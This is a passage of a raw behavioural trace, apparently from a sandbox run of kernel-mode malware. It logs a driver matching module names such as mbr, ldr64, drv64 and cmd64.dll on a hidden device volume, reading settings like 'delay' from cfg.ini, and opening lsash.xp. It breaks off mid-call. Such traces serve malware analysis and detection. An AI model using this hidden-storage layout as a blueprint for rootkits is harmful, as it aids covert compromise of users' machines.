IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.644] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.644] IdePortDispatch () returned 0x103 [0128.644] KeWaitForMutexObject () returned 0x0 [0128.644] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.644] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.644] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.644] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.644] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.644] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.644] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.644] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.644] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.644] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.644] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.644] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.644] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.644] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.644] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.644] KeLeaveCriticalRegion () [0128.644] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.644] ReleaseMutex (hMutex=0x100) returned 1 [0128.644] Sleep (dwMilliseconds=0x2bf20) [0128.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fe10370, dwHighDateTime=0x1d24fa4)) [0128.651] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.651] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.651] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.651] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.651] KeEnterCriticalRegion () [0128.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.651] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.651] IdePortDispatch () returned 0x103 [0128.651] KeWaitForMutexObject () returned 0x0 [0128.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.651] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.651] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.651] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.651] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.651] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff450 [0128.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.651] KeLeaveCriticalRegion () [0128.651] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.651] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.652] KeEnterCriticalRegion () [0128.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.652] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.652] KeLeaveCriticalRegion () [0128.652] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.652] KeEnterCriticalRegion () [0128.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.652] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.652] IdePortDispatch () returned 0x103 [0128.653] KeWaitForMutexObject () returned 0x0 [0128.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.653] KeLeaveCriticalRegion () [0128.653] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.653] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.653] KeEnterCriticalRegion () [0128.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.653] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a01000 [0128.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.653] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.653] IdePortDispatch () returned 0x103 [0128.653] KeWaitForMutexObject () returned 0x0 [0128.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.653] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.653] IdePortDispatch () returned 0x103 [0128.653] KeWaitForMutexObject () returned 0x0 [0128.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.654] KeLeaveCriticalRegion () [0128.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.654] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.654] KeEnterCriticalRegion () [0128.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.654] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.654] KeLeaveCriticalRegion () [0128.654] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.654] KeEnterCriticalRegion () [0128.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.654] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.654] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.654] KeLeaveCriticalRegion () [0128.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.654] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.654] KeEnterCriticalRegion () [0128.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.654] ExFreePoolWithTag (P=0xfffffa8003bff450, Tag=0x0) [0128.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.654] KeLeaveCriticalRegion () [0128.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.655] ReleaseMutex (hMutex=0xf0) returned 1 [0128.655] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.655] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.655] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.655] KeEnterCriticalRegion () [0128.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.655] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.655] IdePortDispatch () returned 0x103 [0128.655] KeWaitForMutexObject () returned 0x0 [0128.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.655] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.655] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.655] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.655] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.655] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00db0 [0128.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.655] KeLeaveCriticalRegion () [0128.655] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.655] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.655] KeEnterCriticalRegion () [0128.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.655] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.655] KeLeaveCriticalRegion () [0128.655] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.655] KeEnterCriticalRegion () [0128.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.655] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.655] IdePortDispatch () returned 0x103 [0128.656] KeWaitForMutexObject () returned 0x0 [0128.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.656] KeLeaveCriticalRegion () [0128.656] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.656] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.656] KeEnterCriticalRegion () [0128.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.656] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a02000 [0128.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.656] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.656] IdePortDispatch () returned 0x103 [0128.656] KeWaitForMutexObject () returned 0x0 [0128.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.656] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.656] IdePortDispatch () returned 0x103 [0128.656] KeWaitForMutexObject () returned 0x0 [0128.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.657] KeLeaveCriticalRegion () [0128.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.657] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.657] KeEnterCriticalRegion () [0128.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.657] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.657] KeLeaveCriticalRegion () [0128.657] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.657] KeEnterCriticalRegion () [0128.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.657] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.657] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.657] KeLeaveCriticalRegion () [0128.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.657] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.657] KeEnterCriticalRegion () [0128.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.657] ExFreePoolWithTag (P=0xfffffa8003c00db0, Tag=0x0) [0128.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.657] KeLeaveCriticalRegion () [0128.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.657] ReleaseMutex (hMutex=0xf0) returned 1 [0128.657] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.658] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.658] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.658] KeEnterCriticalRegion () [0128.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.658] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.658] IdePortDispatch () returned 0x103 [0128.658] KeWaitForMutexObject () returned 0x0 [0128.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.658] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.658] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.658] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.658] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.658] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c006b0 [0128.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.658] KeLeaveCriticalRegion () [0128.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.658] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.658] KeEnterCriticalRegion () [0128.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.658] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.658] KeLeaveCriticalRegion () [0128.658] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.658] KeEnterCriticalRegion () [0128.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.658] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.658] IdePortDispatch () returned 0x103 [0128.658] KeWaitForMutexObject () returned 0x0 [0128.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.659] KeLeaveCriticalRegion () [0128.659] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.659] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.659] KeEnterCriticalRegion () [0128.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.659] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a03000 [0128.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.659] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.659] IdePortDispatch () returned 0x103 [0128.659] KeWaitForMutexObject () returned 0x0 [0128.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.659] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.659] IdePortDispatch () returned 0x103 [0128.659] KeWaitForMutexObject () returned 0x0 [0128.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.659] KeLeaveCriticalRegion () [0128.659] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.660] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.660] KeEnterCriticalRegion () [0128.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.660] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.660] KeLeaveCriticalRegion () [0128.660] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.660] KeEnterCriticalRegion () [0128.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.660] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.660] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.660] KeLeaveCriticalRegion () [0128.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.660] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.660] KeEnterCriticalRegion () [0128.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.660] ExFreePoolWithTag (P=0xfffffa8003c006b0, Tag=0x0) [0128.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.660] KeLeaveCriticalRegion () [0128.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.660] ReleaseMutex (hMutex=0xf0) returned 1 [0128.660] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.661] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.661] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 